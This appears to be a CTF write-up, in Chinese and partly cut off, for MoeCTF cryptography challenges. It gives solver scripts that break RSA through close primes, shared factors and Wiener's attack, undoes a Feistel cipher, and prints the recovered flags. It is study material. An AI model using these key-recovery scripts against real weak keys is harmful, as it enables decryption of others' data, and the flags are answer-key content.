p=18164809890142267890219276206773099235072154806950582020347085518282960761937147879570277730919110196557742226232054602784278585009762036923951358612733074768279344311938292845187804144458991947979616574535662033512236959010688698879953460760771547964758688700129994322153904156260452550830932232536673055480604083903327472696393017478985867846428177588049472509968031143243583420309569129756696755744088888618703553769561648077215188783123207031628505020478500655602448720006243614258852026797076054766680755124052134730998085155245587457870148748357237005392662882609410088994421984160941612734270140092780661013147
q=18164809890142267890219276206773099235072154806950582020347085518282960761937147879570277730919110196557742226232054602784278585009762036923951358612733074768279344311938292845187804144458991947979616574535662033512236959010688698879953460760771547964758688700129994322153904156260452550830932232536673055480604083903327472696393017478985867846428177588049472509968031143243583420309569129756696755744088888618703553769561648077215188783123207031628505020478500655602448720006243614258852026797076054766680755124052134730998085155245587457870148748357237005392662882609410088994421984160941612734270140092780661012811
c = 307746143297103281117512771170735061509547958991947416701685589829711285274762039205145422734327595082350457374530975854337055433998982493020603245187129916580627539476324521854057990929173492940833073106540441902619425074887573232779899379436737429823569006431370954961865581168635086246592539153824456681688944066925973182272443586463636373955966146029489121226571408532284480270826510961605206483011204059402338926815599691009406841471142048842308786000059979977645988396524814553253493672729395573658564825709547262230219183672493306100392069182994445509803952976016630731417479238769736432223194249245020320183199001774879893442186017555682902409661647546547835345461056900610391514595370600575845979413984555709077635397717741521573798309855584473259503981955303774208127361309229536010653615696850725905168242705387575720694946072789441481191449772933265705810128547553027708513478130258801233619669699177901566688737559102165508239876805822898509541232565766265491283807922473440397456701500524925191214292669986798631732639221198138026031561329502985577205314190565609214349344303324429408234237832110076900414483795318189628198913032900272406887003325858236057373096880675754802725017537119549989304878960436575670784578550

phi = (p-1) * (q-1)
e = 65537
n = p * q
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(m)
print(long_to_bytes(m))
#moectf{it_iS_vUlnErablE_iF_p_iS_aboUt_thE_SaME_SiZE_aS_Q_MVoAYArrlG3uco}

七、rsa_signin

1、附件信息:

查看代码
 """ with open("flag.txt","rb") as f:
    flag = f.read().strip()

m = int.from_bytes(flag, "big")
e = 65537

from Crypto.Util.number import getPrime

for x in range(10):
    p = getPrime(1024)
    q = getPrime(1024)
    n = p * q
    c = pow(m, e, n)

    print("n =", n)
    print("c =", c) """


'''
n = 17524722204224696445172535263975543817720644608816706978363749891469511686943372362091928951563219068859089058278944528021615923888948698587206920445508493551162845371086030869059282352535451058203615402089133135136481314666971507135484450966505425514285114192275051972496161810571035753943880190780759479521486741046704043699838021850105638224212696697865987677760179564370167062037563913329993433080123575434871852732981112883423565015771421868680113407260917902892944119552200927337996135278491046562185003012971570532979090484837684759828977460570826320870379601193678304983534424368152743368343335213808684523217
c = 6870605439714128574950893771863182370595667973241984289208050776870220326525943524507319708560433091378319367164606150977103661770065561661544375425887970907060665421562712515902428061727268441585629591525591001533188276465911918724808701356962871139957343861919730086334623932624184172272488406793955068827527130338853980609365042071290967556159598511667974987218999253443575482949258292953639729393456515185185102248985930422080581185292420347510600574229080211050520146551505605537486989306457793451086767402197128573781597156939709237045132856159368959981648969874765462190363842275826077556314448408825308218451
n = 24974121071274650888046048586598797033399902532613815354986756278905133499432183463847175542164798764762683121930786715931063152122056911933710481566265603626437742951648885379847799327315791800670175616973945640322985175516271373004547752061826574576722667907302681961850865961386200909397231865804894418194711076667760169256682834206788730947602211228930301853348503098156592000286467190760378847541148772869356389938999094673945092387627113807899212568399028514283219850734634544982646070106811651490010946670117927664594365986238107951837041859682547029079035013475238052160645871718246031144694712586073789250183
c = 10324627733161143472233272675096997859064721978612320424254305978486200326061730105384511258706433940176741256952824288120499229240005823611541292676234913505775165761543820764046537413943393325463602612485849366939102550336256797820440347815027443410399157963547486098366749815425187247171697678576246606105486928212486117878157055321965270364583625270716186820068538749425299073309429589410882809098930213978117176627031795312102177342499674234163614021182116065492884880492891668658240362567156235958605768725892407536211503981819707919444725863397622629226309480836486427388484176463279384813974310500625102568341
n = 14215826065753265334521416948225868542990756976323308408298887797364519400310818641526401662106853573185085731682502059761982246604277475488691297554851873224516934619888327644352138127883043558424300092247604877819821625587944308487310522092440517150600171819145803937177931473336108429889165189521078678397694303305705260759351843006130968234071638035667854938070597400634242396852782331461576526836227336952718230741560369621645218729592233657856104560425642219241082727756696967324334634822771842625681505869025740662258929200756109704988223034840699133778958569054445520305361142302393767439478256174414187983763
c = 415916446053083522663299405080903121619846594209033663622616979372099135281363175464579440520262612010099820951944229484417996994283898028928384268216113118778734726335389504987546718739928112684600918108591759061734340607527889972020273454098314620790710425294297542021830654957828983606433731988998097351888879368160881316237557097381718444193741788664735559392675419489952796677690968481917700683813252460912749931286739585465657312416977086336732056497161860235343155953578618273940135486362350057858779130960380833359506761436212727289297656191243565734621757889931250689354508999144817518599291078968866323093
n = 12221355905532691305226996552124162033756814028292708728711809229588190407700199452617060657420166395065565154239801465361510672853972152857415394695376825120759202857555325904640144375262531345320714166285999668052224661520834318497234299585219832943519644095197479639328120838919035625832361810964127485907587199925564724081163804724975965691571850962714258888527902920462746795712011579424322515292865504642938090200503979483095345893697972170153990274670257331483858538617460680462369680572833191232126527727222302641204529110948993583190295067970240051042000918629138767209918572311469915774910003970381965123241
c = 2248834602646305164283014556051672824689884721514190813323189875541899566338153534858709617544459297836048770439230174669883719627734394673012731609952869246171300132019334542245094425654362711870373095782083791160029789553806741967408922001051006100049326921742208757147339981269528740944842177729701945606827918253016001436218891580980192743564642120923356793292885805519110411357830040053435569937296612987581482128241218218550319154933831743819546558930918761162723110000328532730751591375727881221199739397698390594797621758011191224528339478784930214820615602510460640307707682865125229937141010351138099874025
n = 18152103454920389919231636321286527841833809319334215885641536161086810144890443857211776387914779781628740172079478910188540146498426564211851629962338413488555121865779016981727229209606498886170396500155102635962395243364899026418106378234307821492609778555173516000309435730752571818439328803899462791834490025768785383592935046996428331508608555503567191807692523852530836008436655164751054189301721070209363416058642811329040202582026786024825518381761299547703962502636888833428457116986351812252188468878701301184044948733274488264320930936362549028124581962244201377136969591119942276742760215403738913067567
c = 2797812094994121597295362327809389195134238119144547570610194659000554967367804835006774413888965325870488368112707535584687083342412367127561646136089638402907513075405746055834487062923240856950047936297155455745928810738711368950139327254040579266046642851362228893522740216519732851152162928545416236075387903789535000820423985522550638100049857678600662008021574841083416323980817348573062083159710189689337626277009675683473560325178417766400002763719953723259300977655801234386662217462862844994462505601804422871991694828697337752697234180117437785537788728412520613916334045368736691714704501962513954509705
n = 22877887459293720334652698748191453972019668578065068224653972884599636421200068659750242304040301306798039254241668648594556654589309801728248683586229288074709849246660525799452637187132633064172425677552176203292787732404537215347782229753837476655088638984496409603054524994383358547132112778403912563916886533181616856401929346567686400616307916690806467019665390260267596320840786982457521423178851498130935577260638269429250197050326097193841333205073650802709022947551398142692735680419453533128176592587955634333425401930362881423044363132586170013458300714163531162544301477356808388416864173949089028317961
c = 12271947322974809255127222556723394446467844330408506340843897575503534175121932185624776713618037572593449207329510171212097269297133492090526270770286000839978630002819714376964416081198925899119135271459404333829811516667576167576916805217016117373027245648473458331936273975110163065432285322832123169216976420362833557809289561705091817949915218278430834098156335989014645979633658818904753942786129126233956314517292746008579152368541316795082120147520597254020266752859205131887527661767589367756335766220841483940854397440079467053684289006956034944336788288196391829411432383541473132962783883758561108297747
n = 19844333358004073542783728196775487079202832688982038135532362073659058674903791697765527614270399097276261983744620537925712167578187109058145015032736796457938148615396547198728652435169126585595701228287449135664667959433491335769206692390262797325133960778920452511673878233190120432257482339068405290918739453464061987163074129048150451046315248186376609350095502130018696275764450248681787926130463463923862832714969425813770847493135627599129546112143050369344208092649256659330284904392961574494907186727388685504929586018639846040474616307662546605623294842316524163106100888851228858194942825157286544846177
c = 9531264751315473345056673937611382755236533664089452852716992791452558274873158812669513178040971923528201631609089069182049526587423864397527252061341857426422965190913745048414029690931254119437249218321954899956104589066479231204536856131403590472063496956452030342299863907499976917750846369802185896519725837163530049157920978007252920334447236842959033879772444475877613295594785710745889554296655932909212643500877218304116451889820444820534937901427158918411546484157737612926382420354101675658160847653151539420222526999426483473829341628599881460824765758346670633385844187252696874025582747177333702736465
n = 16956880944655068255446705024149899655327230949463546092744762226005904114738078692036960935391303255804754787864713189658290361949509917704853428701870609882427423574672772606814823959758208695540116440342488334213300943604780971422918744381486937517952553797134323570131582724393100092308466968491068503301604506186521656059375518680612292667310641047190088814753025794048591445267711939066523165042651430468971452726568222388482323097260496415484997546126185688914792795834046855221759289007609518312601640548469651358391745947588643697900883634533872314566389446271647587564348026861264979727062157272541149018781
c = 16110326928338602237561005337578085623028116490564329920738844771341250444164294693848130674347672763073995755532723894042946521372321947507527854966013459795492930736187058535665041545095683801386814190612817128504426590828954205050425979880047802547011117626354405687170961272200066258220699329112978151044633994329352673342582175349200008181837211288847301836681860817044391028992501763375849046751094019224570802498414368189170656992427042010362385494565216988561215657424755648213390551881450141899860811844684546992754530755092358644968088017107313907435586729574798046187046145596726569637758312033849476689378
n = 16472195897077185060734002588086375750797253422014472876266294484788862733424113898147596402056889527985731623940969291811284437034420929030659419753779530635563455664549165618528767491631867637613948406196511848103083967995689432928779805192695209899686072900265108597626632371718430059561807147486376536203800038054012500244392964187780217667805308512187849789773573138494622201856638931435423778275004491853486855300574479177472267767506041000072575623287557610576406578525902565241580838652860552046216587141709709405062150243990097835181557208274750462554811004137033087430556692966525170882625891516050207318491
c = 11867731823522211833301190385669833752050387304375114576570892885641949969365352586215693183003550684262313893105989683214739695968039039944442567581277252581988489020834299896625977474857889570528169919064941042132119301236852358823696947330423679033138054012027878783478922023431469564210485180679933264749281963405243082505688901662659030897104957499953192201440290084373968716271056483463909282407034181891901928790601973222643210525000717355062752079302291729448234374709852429885984987094307177760741403086538949190424454337896501402430653783597070178968921411867485584517214777073301007918941216316241784521708
n = 13890749889361612188368868998653029697326614782260719535555306236512452110708495623964530174188871342332417484996749651846510646453983388637377706674890018646246874688969342600780781646175634455109757266442675502522791531161284420286435654971819525519296719668701529481662071464145515727217108362496784024871976015116522898184301395037566514980846499856316532479656908169681719288258287756566886281183699239684997698487409138330229321935477734921670373632304542254938831218652340699024011371979519574576890581492623709896310465567043899767342676912434857372520308852745792360420376574037705943820090308501053778144141
c = 6250115196713939477947942995075509357173312813431601073354390451609559579925704891503987992181988654989477525811826607070378476102616752398280691012244301950194800995432882828020405062344160270290542566163969692748126314259624623341922057435728127596172871894887055305291345372720594481096374310285437492746765510292863238933163142677773310305789984897974266961231555124787205980411992251387207335655129551950825339766848166539671565212408741432649813058363660321480995187545006718837863674527475323414266732366507905974800565463011676462244368010182725161416783875646259625352308599198614681446394427674340328493047
n = 21457499145521259498911107987303777576783467581104197687610588208126845121702391694574491025398113729462454256070437978257494064504146718372095872819969887408622112906108590961892923178192792218161103488204912792358327748493857104191029765218471874759376809136402361582721860433355338373725980783308091544879562698835405262108188595630215081260699112737457564998798692048522706388318528370551365364702529068656665853097899157141017378975007689790000067275142731212069030175682911154288533716549782283859340452266837760560153014200605378914071410125895494331253564598702942990036163269043699029806343766286247742865671
c = 6269656777204332618433779865483197625538144405832409880710764183039800286008967127279281167109250083159801218370191973055663058165456565194979210256278526713608759141588082614531352489547674696723140599892318118960648862531538435596775798128845789504910467783731144808685373807716609662688064728614003904579841055786083326311313295311152563668422289435606771091246147867715987583149743032723028324394173498623642539175178996531881058274717907066845565199058931743481410454382746158558886667761300257488769795092777021292335562818583719708133179974425584610403335487082478848975656282384575767178925517257692365828720
'''

2、解题脚本:

低指数加密广播攻击
#低指数加密广播攻击
from Crypto.Util.number import *
from gmpy2 import *
e = 65537
n1 = 17524722204224696445172535263975543817720644608816706978363749891469511686943372362091928951563219068859089058278944528021615923888948698587206920445508493551162845371086030869059282352535451058203615402089133135136481314666971507135484450966505425514285114192275051972496161810571035753943880190780759479521486741046704043699838021850105638224212696697865987677760179564370167062037563913329993433080123575434871852732981112883423565015771421868680113407260917902892944119552200927337996135278491046562185003012971570532979090484837684759828977460570826320870379601193678304983534424368152743368343335213808684523217
c1 = 6870605439714128574950893771863182370595667973241984289208050776870220326525943524507319708560433091378319367164606150977103661770065561661544375425887970907060665421562712515902428061727268441585629591525591001533188276465911918724808701356962871139957343861919730086334623932624184172272488406793955068827527130338853980609365042071290967556159598511667974987218999253443575482949258292953639729393456515185185102248985930422080581185292420347510600574229080211050520146551505605537486989306457793451086767402197128573781597156939709237045132856159368959981648969874765462190363842275826077556314448408825308218451
n2 = 24974121071274650888046048586598797033399902532613815354986756278905133499432183463847175542164798764762683121930786715931063152122056911933710481566265603626437742951648885379847799327315791800670175616973945640322985175516271373004547752061826574576722667907302681961850865961386200909397231865804894418194711076667760169256682834206788730947602211228930301853348503098156592000286467190760378847541148772869356389938999094673945092387627113807899212568399028514283219850734634544982646070106811651490010946670117927664594365986238107951837041859682547029079035013475238052160645871718246031144694712586073789250183
c2 = 10324627733161143472233272675096997859064721978612320424254305978486200326061730105384511258706433940176741256952824288120499229240005823611541292676234913505775165761543820764046537413943393325463602612485849366939102550336256797820440347815027443410399157963547486098366749815425187247171697678576246606105486928212486117878157055321965270364583625270716186820068538749425299073309429589410882809098930213978117176627031795312102177342499674234163614021182116065492884880492891668658240362567156235958605768725892407536211503981819707919444725863397622629226309480836486427388484176463279384813974310500625102568341
n3 = 14215826065753265334521416948225868542990756976323308408298887797364519400310818641526401662106853573185085731682502059761982246604277475488691297554851873224516934619888327644352138127883043558424300092247604877819821625587944308487310522092440517150600171819145803937177931473336108429889165189521078678397694303305705260759351843006130968234071638035667854938070597400634242396852782331461576526836227336952718230741560369621645218729592233657856104560425642219241082727756696967324334634822771842625681505869025740662258929200756109704988223034840699133778958569054445520305361142302393767439478256174414187983763
c3 = 415916446053083522663299405080903121619846594209033663622616979372099135281363175464579440520262612010099820951944229484417996994283898028928384268216113118778734726335389504987546718739928112684600918108591759061734340607527889972020273454098314620790710425294297542021830654957828983606433731988998097351888879368160881316237557097381718444193741788664735559392675419489952796677690968481917700683813252460912749931286739585465657312416977086336732056497161860235343155953578618273940135486362350057858779130960380833359506761436212727289297656191243565734621757889931250689354508999144817518599291078968866323093
n4 = 12221355905532691305226996552124162033756814028292708728711809229588190407700199452617060657420166395065565154239801465361510672853972152857415394695376825120759202857555325904640144375262531345320714166285999668052224661520834318497234299585219832943519644095197479639328120838919035625832361810964127485907587199925564724081163804724975965691571850962714258888527902920462746795712011579424322515292865504642938090200503979483095345893697972170153990274670257331483858538617460680462369680572833191232126527727222302641204529110948993583190295067970240051042000918629138767209918572311469915774910003970381965123241
c4 = 2248834602646305164283014556051672824689884721514190813323189875541899566338153534858709617544459297836048770439230174669883719627734394673012731609952869246171300132019334542245094425654362711870373095782083791160029789553806741967408922001051006100049326921742208757147339981269528740944842177729701945606827918253016001436218891580980192743564642120923356793292885805519110411357830040053435569937296612987581482128241218218550319154933831743819546558930918761162723110000328532730751591375727881221199739397698390594797621758011191224528339478784930214820615602510460640307707682865125229937141010351138099874025
n5 = 18152103454920389919231636321286527841833809319334215885641536161086810144890443857211776387914779781628740172079478910188540146498426564211851629962338413488555121865779016981727229209606498886170396500155102635962395243364899026418106378234307821492609778555173516000309435730752571818439328803899462791834490025768785383592935046996428331508608555503567191807692523852530836008436655164751054189301721070209363416058642811329040202582026786024825518381761299547703962502636888833428457116986351812252188468878701301184044948733274488264320930936362549028124581962244201377136969591119942276742760215403738913067567
c5 = 2797812094994121597295362327809389195134238119144547570610194659000554967367804835006774413888965325870488368112707535584687083342412367127561646136089638402907513075405746055834487062923240856950047936297155455745928810738711368950139327254040579266046642851362228893522740216519732851152162928545416236075387903789535000820423985522550638100049857678600662008021574841083416323980817348573062083159710189689337626277009675683473560325178417766400002763719953723259300977655801234386662217462862844994462505601804422871991694828697337752697234180117437785537788728412520613916334045368736691714704501962513954509705
n6 = 22877887459293720334652698748191453972019668578065068224653972884599636421200068659750242304040301306798039254241668648594556654589309801728248683586229288074709849246660525799452637187132633064172425677552176203292787732404537215347782229753837476655088638984496409603054524994383358547132112778403912563916886533181616856401929346567686400616307916690806467019665390260267596320840786982457521423178851498130935577260638269429250197050326097193841333205073650802709022947551398142692735680419453533128176592587955634333425401930362881423044363132586170013458300714163531162544301477356808388416864173949089028317961
c6 = 12271947322974809255127222556723394446467844330408506340843897575503534175121932185624776713618037572593449207329510171212097269297133492090526270770286000839978630002819714376964416081198925899119135271459404333829811516667576167576916805217016117373027245648473458331936273975110163065432285322832123169216976420362833557809289561705091817949915218278430834098156335989014645979633658818904753942786129126233956314517292746008579152368541316795082120147520597254020266752859205131887527661767589367756335766220841483940854397440079467053684289006956034944336788288196391829411432383541473132962783883758561108297747
n7 = 19844333358004073542783728196775487079202832688982038135532362073659058674903791697765527614270399097276261983744620537925712167578187109058145015032736796457938148615396547198728652435169126585595701228287449135664667959433491335769206692390262797325133960778920452511673878233190120432257482339068405290918739453464061987163074129048150451046315248186376609350095502130018696275764450248681787926130463463923862832714969425813770847493135627599129546112143050369344208092649256659330284904392961574494907186727388685504929586018639846040474616307662546605623294842316524163106100888851228858194942825157286544846177
c7 = 9531264751315473345056673937611382755236533664089452852716992791452558274873158812669513178040971923528201631609089069182049526587423864397527252061341857426422965190913745048414029690931254119437249218321954899956104589066479231204536856131403590472063496956452030342299863907499976917750846369802185896519725837163530049157920978007252920334447236842959033879772444475877613295594785710745889554296655932909212643500877218304116451889820444820534937901427158918411546484157737612926382420354101675658160847653151539420222526999426483473829341628599881460824765758346670633385844187252696874025582747177333702736465
n8 = 16956880944655068255446705024149899655327230949463546092744762226005904114738078692036960935391303255804754787864713189658290361949509917704853428701870609882427423574672772606814823959758208695540116440342488334213300943604780971422918744381486937517952553797134323570131582724393100092308466968491068503301604506186521656059375518680612292667310641047190088814753025794048591445267711939066523165042651430468971452726568222388482323097260496415484997546126185688914792795834046855221759289007609518312601640548469651358391745947588643697900883634533872314566389446271647587564348026861264979727062157272541149018781
c8 = 16110326928338602237561005337578085623028116490564329920738844771341250444164294693848130674347672763073995755532723894042946521372321947507527854966013459795492930736187058535665041545095683801386814190612817128504426590828954205050425979880047802547011117626354405687170961272200066258220699329112978151044633994329352673342582175349200008181837211288847301836681860817044391028992501763375849046751094019224570802498414368189170656992427042010362385494565216988561215657424755648213390551881450141899860811844684546992754530755092358644968088017107313907435586729574798046187046145596726569637758312033849476689378
n9 = 16472195897077185060734002588086375750797253422014472876266294484788862733424113898147596402056889527985731623940969291811284437034420929030659419753779530635563455664549165618528767491631867637613948406196511848103083967995689432928779805192695209899686072900265108597626632371718430059561807147486376536203800038054012500244392964187780217667805308512187849789773573138494622201856638931435423778275004491853486855300574479177472267767506041000072575623287557610576406578525902565241580838652860552046216587141709709405062150243990097835181557208274750462554811004137033087430556692966525170882625891516050207318491
c9 = 11867731823522211833301190385669833752050387304375114576570892885641949969365352586215693183003550684262313893105989683214739695968039039944442567581277252581988489020834299896625977474857889570528169919064941042132119301236852358823696947330423679033138054012027878783478922023431469564210485180679933264749281963405243082505688901662659030897104957499953192201440290084373968716271056483463909282407034181891901928790601973222643210525000717355062752079302291729448234374709852429885984987094307177760741403086538949190424454337896501402430653783597070178968921411867485584517214777073301007918941216316241784521708
n10 = 13890749889361612188368868998653029697326614782260719535555306236512452110708495623964530174188871342332417484996749651846510646453983388637377706674890018646246874688969342600780781646175634455109757266442675502522791531161284420286435654971819525519296719668701529481662071464145515727217108362496784024871976015116522898184301395037566514980846499856316532479656908169681719288258287756566886281183699239684997698487409138330229321935477734921670373632304542254938831218652340699024011371979519574576890581492623709896310465567043899767342676912434857372520308852745792360420376574037705943820090308501053778144141
c10 = 6250115196713939477947942995075509357173312813431601073354390451609559579925704891503987992181988654989477525811826607070378476102616752398280691012244301950194800995432882828020405062344160270290542566163969692748126314259624623341922057435728127596172871894887055305291345372720594481096374310285437492746765510292863238933163142677773310305789984897974266961231555124787205980411992251387207335655129551950825339766848166539671565212408741432649813058363660321480995187545006718837863674527475323414266732366507905974800565463011676462244368010182725161416783875646259625352308599198614681446394427674340328493047
n11 = 21457499145521259498911107987303777576783467581104197687610588208126845121702391694574491025398113729462454256070437978257494064504146718372095872819969887408622112906108590961892923178192792218161103488204912792358327748493857104191029765218471874759376809136402361582721860433355338373725980783308091544879562698835405262108188595630215081260699112737457564998798692048522706388318528370551365364702529068656665853097899157141017378975007689790000067275142731212069030175682911154288533716549782283859340452266837760560153014200605378914071410125895494331253564598702942990036163269043699029806343766286247742865671
c11 = 6269656777204332618433779865483197625538144405832409880710764183039800286008967127279281167109250083159801218370191973055663058165456565194979210256278526713608759141588082614531352489547674696723140599892318118960648862531538435596775798128845789504910467783731144808685373807716609662688064728614003904579841055786083326311313295311152563668422289435606771091246147867715987583149743032723028324394173498623642539175178996531881058274717907066845565199058931743481410454382746158558886667761300257488769795092777021292335562818583719708133179974425584610403335487082478848975656282384575767178925517257692365828720
for i in range(1, 12):
    for j in range(i + 1, 12):
        ni = eval("n" + str(i))
        nj = eval("n" + str(j))
        p = gcd(ni, nj)
        if p > 1:
            c = eval("c" + str(i))
            q = ni // p
            d = invert(e, (p - 1) * (q - 1))
            flag = long_to_bytes(pow(c, d, ni))
            print(flag)
#moectf{it_is_re@lly_@_signin_level_cryPto_ch@ll@nge_ng92WPIBung92WPIBun}

八、giant_e

1、附件信息:

查看代码
 """ from Crypto.Util.number import getPrime

with open("flag.txt","rb") as fs:
    flag = fs.read().strip()

p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 0x609778981bfbb26bb93398cb6d96984616a6ab08ade090c1c0d4fedb00f44f0552a1555efec5cc66e7960b61e94e80e7483b9f906a6c8155a91cdc3e4917fa5347c58a2bc85bb160fcf7fe98e3645cfea8458ea209e565e4eb72ee7cbb232331a862d8a84d91a0ff6d74aa3c779b2b129c3d8148b090c4193234764f2e5d9b2170a9b4859501d07c0601cdd18616a0ab2cf713a7c785fd06f27d68dff24446d884644e08f31bd37ecf48750e4324f959a8d37c5bef25e1580851646d57b3d4f525bc04c7ddafdf146539a84703df2161a0da7a368675f473065d2cb661907d990ba4a8451b15e054bfc4dd73e134f3bf7d8fa4716125d8e21f946d16b7b0fc43
m = int.from_bytes(flag,"big")
c = pow(m,e,n)

print(n) # 0xbaa70ba4c29eb1e6bb3458827540fce84d40e1c966db73c0a39e4f9f40e975c42e02971dab385be27bd2b0687e2476894845cc46e55d9747a5be5ca9d925931ca82b0489e39724ea814800eb3c0ea40d89ebe7fe377f8d3f431a68d209e7a149851c06a4e67db7c99fcfd9ec19496f29d59bb186feb44a36fe344f11d047b9435a1c47fa2f8ed72f59403ebb0e439738fd550a7684247ab7da64311690f461e6dce03bf2fcd55345948a3b537087f07cd680d7461d326690bf21e39dff30268cb33f86eeceff412cd63a38f7110805d337dcad25e6f7e3728b53ca722b695b0d9db37361b5b63213af50dd69ee8b3cf2085f845d7932c08b27bf638e98497239
print(c) # 0x45a9ce4297c8afee693d3cce2525d3399c5251061ddd2462513a57f0fd69bdc74b71b519d3a2c23209d74fcfbcb6b196b5943838c2441cb34496c96e0f9fc9f0f80a2f6d5b49f220cb3e78e36a4a66595aa2dbe3ff6e814d84f07cb5442e2d5d08d08aa9ccde0294b39bfde79a6c6dcd2329e9820744c4deb34a039da7933ddf00b0a0469afb89cba87490a39783a9b2f8f0274f646ca242e78a326dda886c213bc8d03ac1a9150de4ba08c5936c3fe924c8646652ef85aa7ac0103485f472413427a0e9d9a4d416b99e24861ca8499500c693d7a07360158ffffa543480758cafff2a09a9f6628f92767764fa026d48a9dd899838505ae16e38910697f9de14

 """

2、解题脚本:

维纳攻击板子题,直接梭。

# Sage

def rational_to_contfrac(x, y):

    # Converts a rational x/y fraction into a list of partial quotients [a0, ..., an]

    a = x // y

    pquotients = [a]

    while a * y != x:

        x, y = y, x - a * y

        a = x // y

        pquotients.append(a)

    return pquotients

def convergents_from_contfrac(frac):

    # computes the list of convergents using the list of partial quotients

    convs = [];

    for i in range(len(frac)): convs.append(contfrac_to_rational(frac[0: i]))

    return convs

def contfrac_to_rational(frac):

    # Converts a finite continued fraction [a0, ..., an] to an x/y rational.

    if len(frac) == 0: return (0, 1)

    num = frac[-1]

    denom = 1

    for _ in range(-2, -len(frac) - 1, -1): num, denom = frac[_] * num + denom, num

    return (num, denom)

n = 0xbaa70ba4c29eb1e6bb3458827540fce84d40e1c966db73c0a39e4f9f40e975c42e02971dab385be27bd2b0687e2476894845cc46e55d9747a5be5ca9d925931ca82b0489e39724ea814800eb3c0ea40d89ebe7fe377f8d3f431a68d209e7a149851c06a4e67db7c99fcfd9ec19496f29d59bb186feb44a36fe344f11d047b9435a1c47fa2f8ed72f59403ebb0e439738fd550a7684247ab7da64311690f461e6dce03bf2fcd55345948a3b537087f07cd680d7461d326690bf21e39dff30268cb33f86eeceff412cd63a38f7110805d337dcad25e6f7e3728b53ca722b695b0d9db37361b5b63213af50dd69ee8b3cf2085f845d7932c08b27bf638e98497239

e = 0x609778981bfbb26bb93398cb6d96984616a6ab08ade090c1c0d4fedb00f44f0552a1555efec5cc66e7960b61e94e80e7483b9f906a6c8155a91cdc3e4917fa5347c58a2bc85bb160fcf7fe98e3645cfea8458ea209e565e4eb72ee7cbb232331a862d8a84d91a0ff6d74aa3c779b2b129c3d8148b090c4193234764f2e5d9b2170a9b4859501d07c0601cdd18616a0ab2cf713a7c785fd06f27d68dff24446d884644e08f31bd37ecf48750e4324f959a8d37c5bef25e1580851646d57b3d4f525bc04c7ddafdf146539a84703df2161a0da7a368675f473065d2cb661907d990ba4a8451b15e054bfc4dd73e134f3bf7d8fa4716125d8e21f946d16b7b0fc43

c = 0x45a9ce4297c8afee693d3cce2525d3399c5251061ddd2462513a57f0fd69bdc74b71b519d3a2c23209d74fcfbcb6b196b5943838c2441cb34496c96e0f9fc9f0f80a2f6d5b49f220cb3e78e36a4a66595aa2dbe3ff6e814d84f07cb5442e2d5d08d08aa9ccde0294b39bfde79a6c6dcd2329e9820744c4deb34a039da7933ddf00b0a0469afb89cba87490a39783a9b2f8f0274f646ca242e78a326dda886c213bc8d03ac1a9150de4ba08c5936c3fe924c8646652ef85aa7ac0103485f472413427a0e9d9a4d416b99e24861ca8499500c693d7a07360158ffffa543480758cafff2a09a9f6628f92767764fa026d48a9dd899838505ae16e38910697f9de14

def egcd(a, b):

    if a == 0: return (b, 0, 1)

    g, x, y = egcd(b % a, a)

    return (g, y - (b // a) * x, x)

def mod_inv(a, m):

    g, x, _ = egcd(a, m)

    return (x + m) % m

def isqrt(n):

    x = n

    y = (x + 1) // 2

    while y < x:

        x = y

        y = (x + n // x) // 2

    return x

def crack_rsa(e, n):

    frac = rational_to_contfrac(e, n)

    convergents = convergents_from_contfrac(frac)

    for (k, d) in convergents:

        if k != 0 and (e * d - 1) % k == 0:

            phi = (e * d - 1) // k

            s = n - phi + 1

            # check if x*x - s*x + n = 0 has integer roots

            D = s * s - 4 * n

            if D >= 0:

                sq = isqrt(D)

                if sq * sq == D and (s + sq) % 2 == 0: return d

d = crack_rsa(e, n)

m = hex(pow(c, d, n))[2:]

print(bytes.fromhex(m))
#moectf{too_larGe_exponent_is_not_a_iDea_too!_Bung92WPIBung92WPIBung9?WP}

九、feistel

1、题目信息:

CHALLENGE: feistel
DESCRIPTION: 很喜欢shallow的一句话:白给捏

2、解题方法:

源码:

from Crypto.Util.number import *

round = 2
flag = open("./secret", "rb").read().strip()


def f(m, key):
    m = m ^ (m >> 4)
    m = m ^ (m << 5)
    m = m ^ (m >> 8)
    m ^= key
    m = (m * 1145 + 14) % 2**64
    m = (m * 1919 + 810) % 2**64
    m = (m * key) % 2**64
    return m


def enc(m, key, round):
    key = bytes_to_long(key)
    left = bytes_to_long(m[:8])
    right = bytes_to_long(m[8:])
    for i in range(round):
        left, right = right, f(right, key) ^ left
    left, right = right, left
    return long_to_bytes(left).rjust(8, b"\x00") + long_to_bytes(right).rjust(8, b"\x00")


def padding(m):
    mlen = len(m)
    pad = 16 - mlen % 16
    return m + pad * bytes([pad])


def ecb_enc(m, key):
    m = padding(m)
    mlen = len(m)
    c = b""
    for i in range(mlen // 16):
        c += enc(m[i * 16 : i * 16 + 16], key, round)
    return c


print(ecb_enc(flag, b"wulidego"))

# b'\x0b\xa7\xc6J\xf6\x80T\xc6\xfbq\xaa\xd8\xcc\x95\xad[\x1e\'W5\xce\x92Y\xd3\xa0\x1fL\xe8\xe1"^\xad'

经典的feistel加密结构:左右两部分分别变换后交换组合,利用源代码关键加密信息:

left, right = right, f(right, key) ^ left

因此我们使用密文套一次加密函数反向解明文:


from Crypto.Util.number import *
round = 2
cipher = b'\x0b\xa7\xc6J\xf6\x80T\xc6\xfbq\xaa\xd8\xcc\x95\xad[\x1e\'W5\xce\x92Y\xd3\xa0\x1fL\xe8\xe1"^\xad'
def f(m, key):
    m = m ^ (m >> 4)
    m = m ^ (m << 5)
    m = m ^ (m >> 8)
    m ^= key
    m = (m * 1145 + 14) % 2**64
    m = (m * 1919 + 810) % 2**64
    m = (m * key) % 2**64
    return m

def enc(m, key, round):
    key = bytes_to_long(key)
    left = bytes_to_long(m[:8])
    right = bytes_to_long(m[8:])
    for i in range(round):
        left, right = right, f(right, key) ^ left
    left, right = right, left
    return long_to_bytes(left).rjust(8, b"\x00") + long_to_bytes(right).rjust(8, b"\x00")

def padding(m):
    mlen = len(m)
    pad = 16 - mlen % 16
    return m + pad * bytes([pad])

def ecb_enc(m, key):
    m = padding(m)
    mlen = len(m)
    c = b""
    for i in range(mlen // 16):
        c += enc(m[i * 16 : i * 16 + 16], key, round)
    return c

print(ecb_enc(cipher, b"wulidego"))
moectf{M@g1cA1_Encr1tion!!!}

十、flag_exchange

1、题目信息

from Crypto.Util.number import isPrime
from random import getrandbits

with open("flag.txt","rb") as fs:
    flag = fs.read().strip()

def diffie_hellman(p, flag):
